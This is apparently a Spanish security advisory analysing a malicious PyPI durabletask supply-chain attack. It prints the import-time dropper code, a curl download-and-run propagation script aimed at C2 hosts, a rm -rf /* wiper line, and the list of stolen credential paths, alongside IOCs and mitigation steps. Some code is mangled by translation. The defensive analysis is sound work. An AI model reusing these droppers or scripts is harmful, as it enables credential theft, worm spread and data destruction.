Hemos identificado tres versiones maliciosas de tarea duradera en PyPI, 1.4.1, 1.4.2, y 1.4.3, que contienen un dropper inyectado directamente en los archivos fuente Python del paquete. Cuando un desarrollador instala cualquiera de estas versiones e importa la biblioteca, el dropper descarga y ejecuta de forma silenciosa una carga útil de segunda fase desde un dominio C2 creado hace tres días.
Esa segunda fase consiste en un programa de robo de información y un gusano con todas las funciones. Recopila credenciales de todos los principales proveedores de servicios en la nube, gestores de contraseñas y herramientas de desarrollo que encuentra, cifra los datos con una RSA controlada por el atacante y los envía al servidor C2. Si el equipo se ejecuta en AWS, se propaga a otras instancias de EC2 mediante SSM. Si se encuentra en Kubernetes, se propaga a través de kubectl exec. Y si detecta una configuración de sistema israelí o iraní, hay una probabilidad entre seis de que reproduzca un audio y luego se ejecute rm -rf /*.
Esto huele a otra de las travesuras del TeamPCP, pero por ahora no podemos estar seguros.
Qué ocurrió
tarea duradera es un paquete de Python para el Durable Task Framework, una biblioteca de orquestación de flujos de trabajo asociada a Microsoft Azure. Es el tipo de paquete que cabría esperar encontrar en entornos Python nativos de la nube que ejecutan tareas de automatización, CI/CD o cargas de trabajo conectadas a Azure, que es precisamente el tipo de entorno al que se dirige esta campaña.
A partir de la versión 1.4.1, el paquete __init__.py fue infectado con un dropper que se activa al importarlo:
importar sistemas operativos
importar plataforma
import subproceso
import urllib.request
si platform.system() == "Linux":
intentar:
urllib.request.urlretrieve(
"https://check.git-service[.]com/rope.pyz",
"/tmp/managed.pyz"
)
con open(os.devnull, "w") como f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f,
stderr=f,
stdin=f,
start_new_session=True
)
except Exception:
passEl dropper solo funciona en Linux, es totalmente silencioso y se ejecuta en un proceso independiente que sigue funcionando aunque el proceso principal se cierre. El amplio excepto: pasar ignora cualquier error. Un desarrollador que ejecute importar durabletask si lo viera por primera vez, no vería nada en absoluto.
Las versiones cuentan una historia
Las tres versiones llevan el mismo código del dropper, pero en cada versión se ha insertado en más archivos. Se trata de una estrategia deliberada para maximizar la probabilidad de que al menos una ruta de importación active la carga útil.
Por versión 1.4.3, el dropper se activa desde cinco puntos de entrada distintos. Un desarrollador que solo se dedica a importar desde durabletask.entities ... sigue estando comprometida. El dominio C2, la URL de la carga útil y la lógica del dropper son idénticos byte a byte en las tres versiones; el único cambio es la cobertura.
La carga útil: rope.pyz
El contador de gotas recoge rope.pyz desde hxxps://check.git-service[.]com/rope.pyz. El dominio se registró el 16 de mayo de 2026, tres días antes de este análisis. Se gestiona a través de NameSilo con un registro con protección de la privacidad.
rope.pyz es una aplicación zipapp de Python: un archivo ZIP con un __main__.py punto de entrada que Python puede ejecutar directamente. Contiene 19 archivos distribuidos en una estructura de módulos.
SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Antes de hacer nada, __main__.py realiza cuatro comprobaciones:
- Plataforma: se cierra si no es Linux.
- Configuración regional — sale si
$LANGcomienza conru. La carga útil no se ejecutará en sistemas con configuración regional rusa. - Número de CPU — sale si
os.cpu_count() <= 2. Esto deja fuera de combate a la mayoría de los entornos de pruebas automatizados. - Dependencias — se instala en modo silencioso
criptografíaa través de pip si no está presente, con un--eliminar paquetes del sistemasolución alternativa.
Solo después de completar los cuatro pasos se pasa el control al módulo de orquestación principal.
El punto de entrega de FIRESCALE
La carga útil se comunica primero con hxxps://check.git-service[.]com/v1/models. Si ese punto final devuelve HTTP 200, el cuerpo de la respuesta se trata como un script de Python codificado en Base64 y se pasa a roulette.py para su ejecución: este es el canal de activación remota del atacante.
Si no se puede contactar con el C2 principal, la carga útil recurre a un punto de entrega oculto basado en GitHub:
req = urllib.request.Request(
"https://api.github.com/search/commits"
"?q=FIRESCALE"
"&sort=committer-date"
"&order=desc"
"&per_page=30",
headers={
"Accept": "application/vnd.github.cloak-preview+json",
"User-Agent": "git/2.39.0",
},
)Busca la cadena en la API de búsqueda de commits de GitHub FIRESCALE. Se comprueba si cada confirmación coincidente sigue el patrón:
FIRESCALE <base64_url>.<base64_signatue>
La URL codificada en Base64 solo se acepta si su firma RSA se verifica con una clave pública de 4096 bits integrada en el código. Esto significa que solo el atacante —el poseedor de la clave privada correspondiente— puede publicar una nueva dirección C2 válida. La API de búsqueda de GitHub se convierte en un canal alternativo resistente a la censura y autenticado criptográficamente. Si el dominio C2 principal es incautado o desviado a un sinkhole, el atacante puede reanudar las operaciones realizando una única confirmación pública en cualquier lugar de GitHub.
Qué roba
La recopilación se lleva a cabo simultáneamente en ocho módulos a través de ThreadPoolExecutor.
Gestores de contraseñas. La carga útil está dirigida a 1Password, Bitwarden, pasar, y gopass. Para cada caja fuerte bloqueada, intenta desbloquearla buscando en las variables de entorno patrones como *PASS*, *SECRETO*, y BW_*, analizando los archivos de historial del shell para Desbloqueo de BW y Iniciar sesión las llamadas a funciones y, a continuación, probar la cadena literal «Anónimo» como último recurso. Si se cuela, lo borra todo.
Archivos de credenciales. Se leen más de 90 rutas de archivo fijadas en código. La lista es exhaustiva: credenciales de AWS, credenciales predeterminadas de aplicaciones de GCP, tokens de acceso de Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (cada archivo), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env archivos de todo el directorio de inicio, archivos de estado de Terraform (que suelen contener claves secretas en texto plano) y configuraciones de VPN, incluidos los archivos de estado de Tailscale y WireGuard .conf archivos.
La lista también se centra específicamente en las herramientas de desarrollo de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, y configuraciones para Zed, Continue, Kilo y OpenCode.
Docker. La carga útil consulta el socket de Docker socket /var/run/docker.sock directamente, enumerando todos los contenedores y extrayendo sus variables de entorno. Las credenciales de la nube transmitidas como variables de entorno de los contenedores son una práctica habitual en las configuraciones de CI/CD basadas en Docker.
AWS. Las credenciales se obtienen primero de las variables de entorno, luego del servicio de metadatos de instancias de EC2 (IMDS) y, por último, de todos los perfiles con nombre en ~/.aws/credentials. Para cada conjunto de credenciales, la carga útil enumera simultáneamente AWS Secrets Manager y SSM Parameter Store en las 19 regiones de AWS, incluida GovCloud. Recupera todos los valores secretos, con Con descifrado: True para SSM. Además, enumera todas las instancias de EC2 gestionadas por SSM para la fase de propagación que se describe a continuación.
Azure. La carga útil resuelve los tokens mediante credenciales de cliente, una aserción JWT basada en certificados y la caché de tokens de la CLI de Azure en ~/.azure/accessTokens.json, o Azure IMDS (identidad gestionada). Con un token válido, muestra todas las suscripciones, todos los Key Vaults de cada suscripción y recupera todos los secretos de cada almacén.
GCP. Las credenciales se resuelven a partir de $GOOGLE_APPLICATION_CREDENTIALS, el archivo de credenciales predeterminado de la aplicación o GCP IMDS. La carga útil genera por sí misma los JWT de OAuth2 y recupera todos los secretos de GCP Secret Manager.
Kubernetes. El acceso se resuelve desde ~/.kube/config en todos los contextos, desde tokens de cuentas de servicio dentro del clúster, o a través de kubectl. Si kubectl si no está instalado, la carga útil lo descarga desde el CDN de versiones oficiales de Kubernetes a /tmp/kubectl. Se recuperan todos los secretos de todos los espacios de nombres en todos los contextos y se descodifican en base64.
HashiCorp Vault. La carga útil resuelve el token de Vault a partir de $VAULT_TOKEN, ~/.vault-token, credenciales de AppRole, o token de impresión de bóveda. A continuación, recorre de forma recursiva todos los montajes KV v1 y v2, recuperando todas las rutas de secretos. La verificación SSL está desactivada para gestionar implementaciones internas de Vault con certificados autofirmados.
Todos los datos recopilados se comprimen con gzip y se cifran con AES-256-GCM. La clave AES de cada sesión se envuelve con RSA utilizando la clave pública del operador, que está codificada de forma fija. Solo el atacante puede descifrarla.
La exfiltración sigue un plan de contingencia de tres niveles:
- PUBLICAR en
hxxps://check.git-service[.]com/api/public/version - ENVIAR a una URL de servidor principal resuelta a través del canal de entrega secreta de FIRESCALE
- Si se encuentra algún token de GitHub robado en los datos recopilados, crea un archivo con un nombre aleatorio público Repositorio de GitHub y sube el paquete cifrado como
results.json
Los nombres de los repositorios de reserva de GitHub proceden de una lista de palabras del folclore ruso: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, entre otros. La denominación no es una combinación aleatoria de caracteres, sino una firma estable del operador.
Propagación de los gusanos
Una vez recopilados los datos confidenciales, la carga útil se propaga.
AWS SSM. Una vez identificadas las instancias de EC2 durante la recopilación de credenciales, la carga útil envía un ssm:EnviarComando (utilizando el AWS-EjecutarScriptShell (documento) a un máximo de cinco instancias en línea que no sean de Windows:
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
cd /tmp || exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &Un archivo de marcadores en ~/.cache/.sys-update-check evita la reinfección por parte del mismo host. La URL de la carga útil secundaria hxxps://t.m-kosche[.]com/rope.pyz sirve como alternativa en caso de que el C2 principal no funcione.
Kubernetes. Si se ejecuta dentro de un clúster de K8s, la carga útil kubectl execAplica el mismo script de «descargar y ejecutar» a un máximo de cinco pods en ejecución, omitiendo el actual. Un marcador independiente en ~/.cache/.sys-update-check-k8s realiza un seguimiento independiente de la propagación de las ondas K8.
El limpiador de discos
Cuando vuelva el C2 principal HTTP 200 desde /v1/modelos, la respuesta activa roulette.py. Ese módulo tiene dos funciones: instalar la persistencia y borrar discos.
Perseverancia. La respuesta C2 descodificada en base64 se escribe en /usr/bin/pgmonitor.py (como root) o ~/.local/bin/pgmonitor.py (sin privilegios de root) y registrado como un servicio de systemd denominado pgsql-monitor.service, descrito como un «monitor de PostgreSQL». El servicio se reinicia automáticamente en caso de fallo.
Limpiaparabrisas. El módulo comprueba si la configuración del sistema es israelí o iraní mediante la inspección de $TZ para cadenas como Jerusalén, Tel Aviv, y Teherán; lectura /etc/timezone y /etc/localtime contenido binario; y la comprobación $LANG, $LC_ALL, y $LC_MESSAGES por he_IL o fa_IR. Con una probabilidad de uno entre seis, el resultado es:
reproducir_a_todo_el_volumen(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])Descarga un archivo de audio desde hxxps://check.git-service[.]com/audio.mp3, ajusta el volumen del sistema al 100 % mediante pactl, y lo reproduce a través de monovolumen, y a continuación borra el disco. El audio precede al borrado por diseño. No se trata de un proceso automatizado en segundo plano; el atacante lo activa deliberadamente para cada víctima devolviendo 200 OK desde el mostrador de facturación C2.
Detección y mitigación
Si ha instalado tarea duradera 1.4.1, 1.4.2 o 1.4.3, considera que el equipo está comprometido. La carga útil se ejecutó en el momento en que se importó el paquete.
Comprueba primero si existe el archivo de marcadores:
~/.cache/.sys-update-check
Su presencia confirma que el código del gusano se ejecutó en ese equipo. Comprueba ~/.cache/.sys-update-check-k8s por separado para la propagación en Kubernetes.
Busca el servicio de persistencia:
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
Bloquear y girar:
- Todas las credenciales de servicios en la nube presentes en el servidor afectado (AWS, Azure, GCP)
- Todas las claves SSH en
~/.ssh/ - Todos los tokens de cuentas de servicio de Kubernetes
- Cualquier token de HashiCorp Vault
- Tokens de GitHub y PAT — y busca nuevos repositorios públicos con nombres inspirados en el folclore ruso creados a partir de esos tokens
npm,pip, y los tokens del registro de paquetes- Cualquier cosa en
~/.docker/config.json - Todos los valores confidenciales de las variables de entorno que se hayan configurado en el equipo
- Contenido de cualquier
.envarchivos del directorio de inicio - Cualquier archivo de estado de Terraform que haya en el servidor
Si el host se ejecutaba en AWS con instancias gestionadas por SSM en la misma cuenta, comprueba AWS CloudTrail para ver si hay Enviar comando actividad de la instancia comprometida e investigar todas las instancias con las que haya contactado. Haz lo mismo con Kubernetes: revisa los registros de auditoría para exec comandos procedentes del pod infectado.
Bloqueo en la capa de red:
check.git-service[.]comt.m-kosche[.]com
Indicadores de Compromiso
Paquetes maliciosos:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Hashes:
durabletask-1.4.1.tar.gzSHA-256:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bfdurabletask-1.4.2.tar.gzSHA-256:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086fdurabletask-1.4.3.tar.gzSHA-256:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dcrope.pyzSHA-256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Dominios y URL:
hxxps://check.git-service[.]com/rope.pyzhxxps://check.git-service[.]com/v1/modelshxxps://check.git-service[.]com/api/public/versionhxxps://check.git-service[.]com/audio.mp3hxxps://t.m-kosche[.]com/rope.pyz
Registro de dominios:
git-service.com— registrado el 16 de mayo de 2026 (3 días antes del análisis), NameSilo, con protección de la privacidad
Archivos creados en el equipo de la víctima:
/tmp/managed.pyz— lanzamiento inicial de la carga útil~/.cache/.sys-update-check— marcador de propagación (artefacto de detección de teclas)~/.cache/.sys-update-check-k8s— Marcador de propagación de Kubernetes/usr/bin/pgmonitor.pyo~/.local/bin/pgmonitor.py— carga útil de persistencia/etc/systemd/system/pgsql-monitor.serviceo~/.config/systemd/user/pgsql-monitor.service— servicio de persistencia/tmp/kubectl— Descarga el binario de kubectl si no está presente en el host
Cadenas de campaña:
FIRESCALE— Cadena de la baliza «dead-drop» en la búsqueda de revisiones de GitHubpgsql-monitor.service— nombre del servicio de persistenciaMonitor de PostgreSQL— Descripción del servicio de persistencia utilizada como tapadera- Nombres de personajes del folclore ruso:
BABA-YAGA,KOSCHEI,FIREBIRD,PTITSA,RUSALKA,MOROZKO,LESHY,DOMOVOI,VODYANOY, entre otros
Cómo Aikido lo detecta
Si utilizas Aikido, comprueba tu feed central y filtra los problemas relacionados con el malware. Esto aparecerá como un problema crítico. Aikido realiza un nuevo análisis cada noche, pero te recomendamos que inicies un nuevo análisis manual ahora mismo.
Si aún no eres usuario de Aikido, puedes crear una cuenta y conectar tus repositorios. La protección contra malware está incluida en el plan gratuito.
Para garantizar la seguridad en el futuro, Aikido Safe Chain (de código abierto) intercepta los comandos de instalación de paquetes y los compara con los datos de Aikido Intel antes de que se ejecute nada.

